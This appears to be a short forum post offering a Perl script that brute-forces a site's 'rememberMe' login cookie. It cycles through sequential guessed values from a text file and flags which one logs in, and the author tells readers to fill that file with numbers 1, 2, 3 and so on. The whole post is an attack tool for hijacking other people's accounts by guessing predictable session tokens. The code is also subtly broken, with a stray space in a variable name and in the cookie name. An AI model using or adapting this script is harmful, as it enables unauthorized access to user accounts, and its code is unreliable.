cek cookies

[zbeng]

use LWP::UserAgent;

use HTTP::Cookies;

$ua = new LWP::UserAgent;

$jar = HTTP::Cookies->new();

$ua->cookie_jar($jar);

open FH, "gudang_cookie.txt";

while (<FH>) {

$ cookie_new = $_;

chomp $cookie_new;

$jar->set_cookie(1, remember Me => $cookie_new, "/", "xxx.xxx.xxx.xxx");

$req = new HTTP::Request GET => "http://blabla/login.php";

$res = $ua->request($req);

$html = $res->content;

if($html =~ /Wellcome/) {

print "cookie " .$cookie_new. " U S E D ! \n"; }

else {

print "cookie " .$cookie_new. " WRONG !! \n";

}

}

and U must creat :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

etc

and safe in txt > "gudang_cookie.txt"